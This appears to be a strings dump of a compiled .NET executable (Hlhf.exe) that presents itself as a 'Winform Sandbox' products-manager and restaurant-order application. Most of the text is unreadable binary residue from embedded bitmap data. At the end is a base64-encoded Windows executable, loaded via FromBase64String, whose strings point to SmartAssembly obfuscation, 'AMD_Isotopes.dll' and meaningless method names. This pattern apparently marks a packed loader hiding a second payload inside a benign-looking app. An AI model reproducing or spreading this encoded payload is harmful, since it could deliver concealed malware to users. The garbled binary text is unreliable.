set_FormattingEnabled
_isSorted
Synchronized
PopulateDataGrid
SelectedGroupDataGrid
GroupsDataGrid
NewGuid
<Id>k__BackingField
<Price>k__BackingField
<ProductsTable>k__BackingField
<Title>k__BackingField
<Name>k__BackingField
<GroupName>k__BackingField
<ProductName>k__BackingField
<MenuType>k__BackingField
<TradeMark>k__BackingField
<Description>k__BackingField
<PhoneNumber>k__BackingField
<SkuNumber>k__BackingField
<Supplier>k__BackingField
<ProductDetails>k__BackingField
<OrderItems>k__BackingField
<MenuItems>k__BackingField
<StorageUnit>k__BackingField
<Category>k__BackingField
DataGridViewBand
buttonAmend
SBind
GetMethod
get_Price
set_Price
get_TotalPrice
RefreshTotalPrice
lblTotalPrice
labelPrice
textBoxPrice
defaultInstance
set_DataSource
set_AutoCompleteSource
BindingSource
source
XmlReadMode
set_AutoScaleMode
set_AutoCompleteMode
set_RowHeadersWidthSizeMode
DataGridViewRowHeadersWidthSizeMode
set_AutoSizeMode
set_ColumnHeadersHeightSizeMode
DataGridViewColumnHeadersHeightSizeMode
DataGridViewAutoSizeColumnMode
set_SelectionMode
DataGridViewSelectionMode
set_WrapMode
set_AutoSizeColumnsMode
DataGridViewAutoSizeColumnsMode
set_AutoSizeRowsMode
DataGridViewAutoSizeRowsMode
set_EditMode
DataGridViewEditMode
AddRange
CompareExchange
get_WhiteSmoke
Invoke
DataTable
get_ProductsTable
set_ProductsTable
IComparable
IEnumerable
IDisposable
dtable
set_RowHeadersVisible
RuntimeTypeHandle
GetTypeFromHandle
numberOfPeople
get_Title
set_Title
DockStyle
get_DefaultCellStyle
set_DefaultCellStyle
set_ColumnHeadersDefaultCellStyle
DataGridViewCellStyle
set_BorderStyle
set_FormBorderStyle
FontStyle
get_Name
set_Name
PersonName
get_GroupName
set_GroupName
groupName
labelPrName
textBoxPrName
get_ProductName
set_ProductName
set_DataPropertyName
Combine
set_Multiline
Phone
ListChangedType
GetType
get_MenuType
set_MenuType
Compare
get_IsSortedCore
get_SupportsSortingCore
get_SortDirectionCore
GroupCore
RemoveSortCore
ApplySortCore
get_SortPropertyCore
get_Culture
set_Culture
resourceCulture
MethodBase
ButtonBase
ApplicationSettingsBase
TextBoxBase
Close
Dispose
Delegate
DebuggerBrowsableState
EditorBrowsableState
DataGridViewTriState
Delete
get_White
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
DebuggerBrowsableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
labelCatalogue
get_Value
GetValue
value
buttonSave
Remove
Hlhf.exe
set_Size
set_MinimumSize
set_MaximumSize
set_AutoSize
set_ClientSize
myserialize
ISupportInitialize
IndexOf
get_Tag
set_Tag
System.Threading
Binding
System.Runtime.Versioning
FromBase64String
ToString
GetString
MainForm_Closing
add_FormClosing
disposing
Operating
System.Drawing
ShowDialog
set_MaxLength
buttonAdd_Click
add_Click
buttonAmend_Click
buttonDelete_Click
buttonSave_Click
buttonCancel_Click
btnClearMenus_Click
buttonEdit_Click
buttonExit_Click
btnAddMenu_Click
btnRemoveMenu_Click
buttonShow_Click
set_Dock
get_TradeMark
set_TradeMark
ToDecimal
Label
buttonCancel
System.Collections.ObjectModel
System.ComponentModel
WinformsSandbox.ComponentModel
IGroupsViewModel
get_GroupsViewModel
set_GroupsViewModel
_groupsViewModel
DataGridViewCell
System.Xml
ReadXml
WriteXml
GetFromXml
get_Control
ContainerControl
ListControl
Program
get_Item
AddItem
get_SelectedItem
get_DataBoundItem
RemoveItem
MenuItem
menuItem
System
EditDeleteAddForm
MainForm
OrderForm
AddEditForm
ShowForm
labelStoreUn
textBoxStoreUn
resourceMan
Vegetarian
AppDomain
get_CurrentDomain
DataGridViewColumn
DataGridViewTextBoxColumn
Application
set_Location
System.Configuration
System.Globalization
System.Xml.Serialization
System.Reflection
DataTableCollection
DataGridViewCellCollection
ControlCollection
DataGridViewColumnCollection
ControlBindingsCollection
ObjectCollection
DataRowCollection
DataGridViewSelectedRowCollection
DataGridViewRowCollection
ListSortDirection
_sortDirection
direction
set_StartPosition
FormStartPosition
Exception
get_Description
set_Description
StringComparison
OnComparison
IPerson
Button
CompareTo
MethodInfo
CultureInfo
get_Gainsboro
Bitmap
set_TabStop
IGroup
GetRandomGroup
Clear
set_ValueMember
get_PhoneNumber
set_PhoneNumber
get_SkuNumber
set_SkuNumber
sender
PhoneOrder
_currentOrder
lstOrder
get_ResourceManager
ProductsManager
get_Supplier
set_Supplier
labelSupplier
textBoxSupplier
PropertyChangedEventHandler
FormClosingEventHandler
DataGridViewCellEventHandler
System.CodeDom.Compiler
IContainer
add_RowEnter
GroupsDataGrid_RowEnter
remove_RowEnter
get_Silver
XmlSerializer
set_GridColor
set_BackgroundColor
set_ForeColor
set_SelectionForeColor
set_BackColor
set_UseVisualStyleBackColor
set_SelectionBackColor
GetEnumerator
.ctor
.cctor
PropertyDescriptor
System.Diagnostics
WinformsSandbox.Models.Interfaces
WinformsSandbox.ViewModels.Interfaces
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
ProductsManager.EditDeleteAddForm.resources
ProductsManager.MainForm.resources
Restaurant.OrderForm.resources
ProductsManager.AddEditForm.resources
ProductsManager.ShowForm.resources
WinformsSandbox.Properties.Resources.resources
WinformsSandbox.Views.GroupsView.resources
DebuggingModes
AcceptChanges
WinformsSandbox.Properties
get_Tables
EnableVisualStyles
WinformsSandbox.Models.Classes
WinformsSandbox.ViewModels.Classes
get_DataBindings
Settings
ListChangedEventArgs
PropertyChangedEventArgs
DataGridViewCellEventArgs
Equals
get_ProductDetails
set_ProductDetails
labelProductDetails
textBoxProductDetails
get_Cells
get_Controls
get_Items
get_OrderItems
set_OrderItems
get_MenuItems
set_MenuItems
System.Windows.Forms
Contains
get_Columns
set_AutoGenerateColumns
set_AutoScaleDimensions
System.Collections
groupBoxButtons
IGroups
get_Groups
set_Groups
_groups
set_ScrollBars
SystemColors
labelProducts
components
cbMenus
InitializeAvailableMenus
_availableMenus
btnClearMenus
WinformsSandbox.Views
get_Rows
set_AllowUserToAddRows
get_SelectedRows
set_AllowUserToDeleteRows
set_AllowUserToResizeRows
get_hAubAHBQuQElrGnABQLFcezJYbVERt
Concat
Format
GetObject
set_MultiSelect
Product
ProductDirDataSet
get_Highlight
buttonEdit
EndInit
BeginInit
get_StorageUnit
set_StorageUnit
GraphicsUnit
buttonExit
get_Default
SetCompatibleTextRenderingDefault
DialogResult
Restaurant
set_Alignment
DataGridViewContentAlignment
InitializeComponent
get_Current
Point
set_Font
get_Count
get_RowCount
Convert
RandomPersonSourceList
get_SelectedGroupBindingList
set_SelectedGroupBindingList
_selectedGroupBindingList
get_GroupsBindingList
set_GroupsBindingList
_groupsBindingList
SuspendLayout
ResumeLayout
PerformLayout
MoveNext
get_Text
set_Text
get_ControlText
set_HeaderText
get_HighlightText
get_WindowText
labelSku
textBoxSku
btnAddMenu
btnRemoveMenu
DataGridView
GroupsView
DataRow
DataGridViewRow
get_Window
buttonShow
get_Index
set_TabIndex
get_SelectedIndex
get_RowIndex
rowIndex
index
MessageBox
set_MaximizeBox
ComboBox
GroupBox
ListBox
TextBox
WinformsSandbox
get_Assembly
set_ReadOnly
RestaurantLibrary
get_Category
set_Category
labelCategory
textBoxCategory
op_Inequality
_sortProperty
WrapNonExceptionThrows
Winform Sandbox
Copyright
2017 - 2020
$D7AFF0CC-F635-4140-A9B4-0FEA7D211F60
1.98.4.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
16.1.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
Cqo'vv
grUg6
Xa8UK
:6+)`
EXV(Y
o+~[w
#3BB
)2EWQ
g.|b\
+cO03
FPB~T
R.ctM
{:(\1
guR3;
e\oLd
7pZ'i
dgY 3h/'
8fdKqi9
v!~B~
M&=+%
T'b>/
-%pI&
wHT'E
*a,Hw
jaj4N
`k`{|
ALS4#
\BRi7
y$L)`c
Wr;?}
[KGJ>
bf:EHN
%QRkh8
Ae^9?
fjV1R
QSJU&
Yet)6fP_
4-%^$
]]xn8
l7326G1b
)gxtA
Ws"r':
}*b]X
rsB=.G
ZCkMg{
cK(Mra
X*?J3
>dVkM
XSiU2
dZ!u=)\T8
H3dRG
(5zDM
:e~F;#
,:~JH2
w9g=U
|4m:X
XKqB*I
10)%;
hbUC5
I2|i:
iy:K32
FZ_4,
KH2OX
M8M8I
7pZ'y
y>@UP"y|;
6x`y`0
IQu\+
]Nbw|
01S\x
fC\6Qu
#Qf'N=e
'd9qKKY
MkiZU
14d=%Bm9=
:-AuHO
rE/Q?
/Iq/L
`eV23G
wfCr0
v,NS$i
E6|8U{
9x2cN
x3ex9n[F
JO)V5
3xJ8]\
X$56}
,+uCI|w
urccU9
3uh{d
<$f]
+iA~,)4
B&N"G
[&Xw7&
"~f8a
]kx+j
'IQ#u
O4&m]7
AFdwt
;.~Wa\
kE4}#
%a>a!k)n
Co2/t$
WEkjZ
q9q<N
ZCkMGM
-[mG00
\P2ftX
&b0};o
k kV0#
m V}"
CY\\G
o%hU#M
fBgqY
.2kH5
_k*.f
M4VXP
3lN1d
j,O&l
leFO_
C'|qb
x?e4J
d^'6F
Q&(U=
F~[!Fe
s.pJ{<
q~.Ke
~SX*$
i=gS.
@fdr
Sh,1f
Z:6M`
$:wv"
j^8m0E
OBqq9
63)x9
>CTu3
T"4Gp
.1zi6
O:$z[C
E'i<v
ba7*v'v
W&@d<a
bIeO\
'2msv
9.aECN
uq+ux#
-wqZ1
|%dZ#U
&F1!hi[
1d|G\-_
]'kD$E
|NbL(
'n>[>
SDeb"25
|+\R#
W63NP
]G]UO
UC?b6
?j*)mJ&U
jm?0{
}sY8z
wyPfN
]dOGG
"}x"/
V-5:F
hLdoQ
%Kc52
0Vq%96
_Nho'
ZU4f\
]%]Q}
00DS)
#}b5'
*1.q.
@bd6F
,"#jY
mERN_r<~CBI
NaQ76)
r`]p*k
JF;PR
S""Jws{,
8;x5g.
5(DQf7
Vmy8;
[K}gc
,4Uws
7pZ/rZ
%5DwpD2
$<O-$
~z]}Bp
G\$0,
tO ihK\7;
i]L$+[
vZCjp
f#Msi
.N?1w
AD;}d
G1V=|I
1kD;z+U
k*VSq
4yAY9
sc0;#
c[CkM
sWZ<&
Ay\$.
End&^
gnT-q;
fnh?Pa
!'(f[
n\x[D7G7
k*(!1"
nU[qG
da&k?
1lzvg
v5d:G
U)v)"Y
=>w$6
o%S=$
[s8]%
xBS5H
2Ya(8
Tj,71%I
bRkTEQ
AbX~>
&24b;+
Gg$y;*
Bm(*&;0<=
{EQ[8
2e4|[
[U9t?\a
y0ijVX
H~5]e
Dlh 1,
PU3 %
d$:s+l3j
mEYmy8A*
"pe;fVn
[:<i =o
D.i="I
/nd{7
~t>#d
wo"_-r
/"aeA
#G<9)i
dfOwnI?
1J;MxSl
#)eBK
t&7Q?
3VMPr
}cxix
c[CkM
dwyB;
s9}5o
,[,&3
xb/QF~$Y
u:o~%
VG"*r
g_]I)
]fyDq
>DzfQQ
g7;K+
:tRdQ.
]?&<Le
3J$x:Z
nHgCa
-"Ki3
Hzb_<
U3lHO
Q])bK
bawawww
EpGsz
?;W+s
PbrLy
-Y8|3
>@h`!
\'Rt*[
tv3F.d
nOP(8
8I.y5
oM<!CF
]?804
Fcx7BX]
MK}^k
CmVp}^
f$0]a
39u`5
nEkB%KqY>
nJ(xX
\C?t?'
fB#Nk
qdT5
+aas?
g4Vjp
BN5JPb
/'fFz
_+A7m%
s$Tb3
3Qq.t
qJ4DF
4YdUz
oDRK}
;A$D9q
9{:kb
B;&N6ehs?
W zo>Jm
Fe=b|
4z=_K
EvsJk
e>WZ!#y
Av4Maff
\oBpN
JQ*M2x
_mCU_/z
Rc<JC{
ZOkhU2s~C
CAKHyt
+FpVPr_nM
?- OP2-
xyhrek
M}aqQ}
K|y7;
0*uG3H
(,5f]
4N)l}O
uz3X(q
2|~4#
!eij7
V2!oA
]!l>,
7x,VJ
-b#?c&>
gn`[S
Aj{F<
IXn0d
A>LK^Ep
bvA?:m
dxL!ht
eeP#!+
T4tZ^&
;t5YiK
7h$Ig
Ac.0}
y]8g{
Z{:]|
x'=&t
-XA}v
"3I>%
1u7V8
I(Dt%
jm~0D
)"rg0
:/.oL
(gF-]
l>o&(
K*v,]b
,&Ss02
7bRj4
'4a5W
g][!Sn
0Ju]k
ePhQ"{
5n%:||
N/3IK
3mh[
>kP\m
#k6TR
b^pz0
Io,U*P
1dSI!
^`hU1Q
PAeOen>sEj
U[7Pz
.(vw#
)7PaY
~dI%%9C
1d>1C+
r*c^:
jXUYG
$#e4!
zdha;
"R.2
_^8q}
) jJgbR
P^x\F
8),H:
h0t$}
qd:mb
n#qyw
N+ICK
>&x~xk
^&ko`
PUUdR
0U|[z2
jMBytW&
|{s_P
CM%=,
bjL;t
9T%.#
0quae
@4i,Z5
,AsY(
h'6v{M
&u_wn
,oyR6
\G>p3
C,0-pdx
u-^sF
X}~(/#
#l/KQ
g(.>H
2\kWDR
yXw$
MGY|$+;
H{3R#
A&6w`
.Dn=J
_"1k$F
my8*m"
$7{`b
83c+X
}MgAP
Duqo\
AsbPn
]v3!W
?iiRl
$?z;^}
>?l{psn
_y8>e
WGp~p
c"o-5i
s?^M*
krN0V
VP$M+
oH A:
#9t0j
i\KcI9
~)97B9
yae70
2w>ns!/
vD9]M
B/r>}
TQ*_Z
ZVoU"
O4m5b
m%gAx
wNR3h:
.t(N&
/x,z#
]hiD#>B\
G?Y}5
\cJRc
/Y?t#]
ng9^}
vg`kO
L!-l)
mV%DM
}+I~Y
n|GCJ9G
:my8>S
.LOLE
MMB:-
A~W);
ME85]
m>WgE
&hL<D
QN&bC
DUT6r],
L=dFe
=9gfK
VFrh.
0pu,Q6
17FRz
9[yh/
goE9%57)7
dQ:m;F
)]i+L
LVZ~D
|`!yz
GQ6Uj
]CXQ:
IF!a2v
(!%z)
EAm$3,f63
]rHZ1
9wAZ
E;)Y6
Gz`)r
8z0`]-w
(PXpN"_^
#2|N[
iFtx.j
6\&5E
t>',@^
ax2MY
s>f;q
v$5U1
'o/N)
D=Ir9
3Imy8W
+uFP:J
{9'ZE`e
gt#;
iZbt4
E>,^(
;5Kt(
cRpK_
39eL7v
hfi4GN)
o{*}eV
{0*v?
lV0FI
]Gkx&
*h|(xB
[$L'=i
?*zN,
AE}>IW
aU2d.J
'ksM]
AT~2N
`RkTE
Cbh.9
mNCkM0
w/vID
(Hc^7
<-ID<
:o6pj
RtUzJ
P$Cv-
HvPCQ
@|o5,w
7:koBl
=1v;X
-|I>M
7G0Yw
&dh6b
w1$=o*
oEN~T
K5xj'
U*">f
Z=z(ucI
)G>Qn
uObkd%
G:y#V
[8>)@
/-aYK
rAI4p
{(nr1
dzh3;q$
que-AYk
yA R^{
&Fi!R
\CiH<v
v-m~e
/X_1r<
m,RBf
)jVlG
H^SMf
:SXE_t
O$}`)9
d_GK"
c)@Na
ms1T;
-a_+;
vrpG-;}
/ObUF
-C[=b
Mv\]C
w7C]|Y
ldDm~3
Mb0^=
C#p=q}
c{QZk
a{Lgn_
v`iD1
rXu;f-I
3IP_KS
jQ"-m~[
kz<S.
D)wBs
~d\D+
Qto0!A
N2FaL
~hgB5?
1nNix
VvGU~1
X?b0.
Ho5$,|
bbZh*
c=kwZc
TDtgC
dz_[Dq
%(_uFz
Y5%ZP
IoQ65coV
gA{,=
R9|Vub
Ti*rg
/H-`E
v'y.J
D={2%
z)9r?
!<XCi#
H^G~'e
<kI4y
-&9#1
!#r"f
N 9l2F7
(txJx
`n6sR
b02V]
cLNt#-
(CVjo
-k:?6
Ue(fV
jgzzv
N[/?rG
OAY~TK
qvsov
co}:_
e;s*>
jti54
=RIL49
zz*m]7
h8|Ga
5[h8^
GA8NM
hlkMp
hBuA"
Xlm>A
:.>}p
pCr-k27pg
z)$Feq
-B<b/N
vT3W7le
0GP2G
6:hn]B
V;,@:
Bn]+Q
f&SU[
GXv8)<$
|y#gF_
,#oM7NU
WE_*F
V2CLI4M
}w:m>Yp
mMQT_
z=g2j
*PV\K
f}jG*4T
aESQ^5
Bm`O:y(
zw#tU
UP:KR
8ms">
y8fQ~
]Bwb2
t)TB|8
mw7R3
w*=`2
yT7Q^O~
xOC;i
'Ugh5
p$UZ2
a/{pv
K[+3Bu
cEn|
NNt|dI
KA^o"
$y[ji
&zGwa
"8\#x
q_^/0
2g%K7
$=iw&
uvVL_a
*5vFd'lC
AWLGf0r
kM%@q
aCHt(A.k
s{O.f
-#I"g
{(z!q<
=NquV
I\/.d
]{ R2
"?N;sM
.Qm)>}
2y|y;
Z1=|/7
kEy8GM
!L-lO
&c]UA
g>%S%
k0jY1#
o#<7f
.!{^$
ucFn5A
(TmGzP
fz 1F?
wc8Xy
f3,7/
gdr<iv
#P^Yx
%]wFg
y8-viQZ=
\QTEK
)yr(l
Q]Acy:
y/@"u
'|3uGj
*R2Nm
-JfaK
nbw6"
N1BMUx
%#()_DdY-e
u%D|?]
+Irmf
m ,n2
H,pGc
$0|mB
",']F
xQxq1
T#Ww\c
:kPm>
UGfE+rXg
qw'bj_
awV[B
rQw{EJ
c%q}7s
7!nUO
fyV{l
LXyze
Dy8-J
QjF&]
JUGLY
/(n>
%qt,?!QT
;+k-Hx>
f1CLG
cDwu|
x=}3..
<j,qOW2
dB|R(qH
`'.1bf
Q6]W!33
zgM%Qj
{-Euk"MA
%%9RUU
>Du8HN
[b1j\
Fjl>r
fLy<V
`W{T8
otv0Y'
]HRp`
;o(b9
u|_|B
xwe7+
Jn}Na
oqz"(
z;^;v
fU1tbm(
gE`t;
<]"2Bp{
|lh45
#R2S[
'v{1&
[^\i&yT&
yKJ#\
ng5{-
kn4c6r$
XQ=Uz
5n[{*
4vTrf
bnbYk
%mn\*#bF=#<
b4Cq|
_I`\KTE(^
c_^o:L
#Q<+7
tt31j6,x7
?u8.x
ce?*G
MshU2
r5^E)1(:
#.k\e
s8)KN
'O&p1
9IKHY
"[c7U
|HLP!R
{oc0)
91du%
ypPP2z
|2P#d
51lH;M
}|(MW
)9M2Gu
qh^+e
GVk(Z
Ogo#N|
/yq9B
,b&_,
H'W+67,
5w3]b
]Z!e}
J^m_F
SGMT:7
T#v5z
Fs8-H
~_Vuh
Dy8-=
fLN.Z
bT*%(
3L~r9u
~+q9w
|<jKu
mM~;k
Y?x-+
e+F76
-2$Uh
n90dO>
j"B^"
/gcH^
h>wr5[
9N{-Q
BHb1I
W6S[w
8MTEqF7"
JHD'3
iFkpx{U
F\B6d
~6m+e
WH]vA
$\/crY
xs?p![
MzroH:
*jDk;"
_PTVGA
Si|xn
X:zj{
uaH?s
41mA,
}6<ow
/O<MY
Y}N6<e
<jxD(
]iW4;
p/t<b
fZS$+
Qq)&tE
GTr-:V
!z_5^
fa{s7_
7s~|O
jbKc$
mNbt|
dy-'4
H//A5
=C<uq
,DEPw>
g(gF!
=ZUhd<
3weV;J
F\frs,
h&sWt5
>!ly!K
I.%`J<o
]LJrG
IDAT'"
|ba7I$
8j6lAg
$V1PX
-y8J-y8
7Y|f>
N`#N2W
.v8d)
&$q,n
h#;h1
VEw[#
NN(7X
:-y8S\W
"{>NE
^K yn
@B^2*
srR&e!
MGRy&s
DZz:n
]bFge
U`74Nx
}[!30q
ic2LPB
3%H,j
*eNw,
o&C=|P
Pdk~bu
weh,|H
ct[!U2
pim?B
IL/BR)
q5k7Ld
|q(;?
0-g1q
4MF~s
j:(v`
u(Dyo
Ndi7'
gEX&]
nsJZx
YOmX'
M)GFf2pO
A~\4"<j19w
)IOcM
:$b1u
uN1~
k"RAoX
\")d4
_l9:c
+"G/-
#SqL:
@Zl93
UmQ8:
~k83x2
JhzB#
I8fr;B
C,}9~
k<p|=
r:o'U
-p=}v=a
n{qnIu
mNELl)O
`7h;k
|V;jr
IL_v^Pj
D &J1
u[!s?
KYym2o
H{7jj
VF[.br
$CR7D
6m_"U
s8e2JCw
L&j-y8a
tD3]Mn
LJ'V,
HF+a%
_DXu?
_y8a*4
,\PuK
m$cI$
"d/CK
[;Ph~
,CKl7j
>Jp#g
03b:;
qBg$y
t2/"}
gYD7bT#
iD]|8
;[Ph*J
GD2mo
&.FuAK
HM]fyg
>pJu5
HVVR>
^7<6_C
-DMm!
eIi!goj
3ehyr
!#xz?'UR
VbN=e
6w222m
Ey8K*
v&G6n
pJ*k`
0*Qgq
XRrt8
JR.-b
d_"{%
$J$$H
.~'R2
uTY:2
MrG&K
`?|$.
,VSQ?
#'n6U1
@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OAEYAQYAVgFqARsAfQEAAAYAjAGjAQYAtQGjAQYA0gGjAQYA8QGjAQYACgKjAQYAIwKjAQYAPgKjAQYAWQJtAgYAjAJtAgYAmgKjAQYAtwLQAgYA6gJDAAYA7wJDAAYAAANDAAoABgORAAoAIAORAAYAPQNHAwYAggNHAwYAjgNDAAYApQNDAAYAyQNDAAYA1wOjAQYA8QMBBAYAHARDAAYALQQ0BAYASwRDAA4AfQRnBA4AlARnBAYAnQRDAAAAAAAfAAAAAAABAAEAAQAQACgAEgAFAAEAAQABAQAASgBdAAkAAQAJAFAgAAAAAJEAgAAKAAEAMCEAAAAAkQCLABoAAgCYIgAAAACWAKkAIQADAPAiAAAAAJYAtwAoAAUAZCMAAAAAkQDPAC4ABwCkIwAAAACRAN4ANAAIANQjAAAAAJEA6gA0AAkAICQAAAAAhhjyADkACgAsJAAAAAAGGPIAPQAKAAAAAQCIAAAAAQCnAAAAAQCxAAAAAgC0AAAAAQDBAAAAAgDMAAAAAQDcAAAAAQDnAAAAAQDvACEA8gBCACkA8gA5ADEA8gBvAEEA8gA9AEkA8gA9AFEA8gA9AFkA8gA9AGEA8gA9AGkA8gA9AHEA8gA9AHkA8gCuAIEA8gA9AIkA8gA9AJEA8gA9AKEA9gJbAbEADANxARkAFwN1AbkAJgN8AbkALwOFAcEAWgNxAbkAZAONAbkAagONAbkAcAONAcEAdgORAdEAkwOYAcEAtwOfAcEA8gA5ALEAvwNxAeEA0AO0AekA4AO6AfEA8gC/AfEAEgTGAfkAKATSAQEBRQTSAQkBVQTeAREBiQTkAQkA8gA5ABEA8gA5AC4ACwBHAC4AEwBQAC4AGwB1AC4AIwB+AC4AKwCQAC4AMwCQAC4AOwCQAC4AQwB+AC4ASwCWAC4AUwCQAC4AWwCQAC4AYwCzAC4AawDdAC4AcwDqAC4ASgAyAWYBqQHLAdcB7wGmAQAAAAABAAAAAAAAAAAAAAAAABIAAAAEAAAAAAAAAAAAAAABADMAAAAAAAQAAAAAAAAAAAAAABEAkQAAAAAACgAAAAAAAAAAAAAAEQBnBAAAAAAAQU1EX0lzb3RvcGVzLmRsbABBTURfSXNvdG9wZXMAPE1vZHVsZT4AUHJvY2Vzc29ycwBtc2NvcmxpYgBPYmplY3QAU3lzdGVtAFBvd2VyZWRCeUF0dHJpYnV0ZQBTbWFydEFzc2VtYmx5LkF0dHJpYnV0ZXMAQXR0cmlidXRlAFhBWENBU0QAYzUASU1NTU0AU3lzdGVtLkRyYXdpbmcAQml0bWFwAEIAWEFYQVhBWABtbQB4eABTdGFydEdhbWUAQ1NDU0NWRFdERABFUQBXREZFR0dFR0VHR0UAYwBTQVNBU0ZXRgBCSABWUlZWAEtKAC5jdG9yAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAFN5c3RlbS5EaWFnbm9zdGljcwBEZWJ1Z2dpbmdNb2RlcwBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN5c3RlbS5SZWZsZWN0aW9uAEFzc2VtYmx5RGVzY3Jp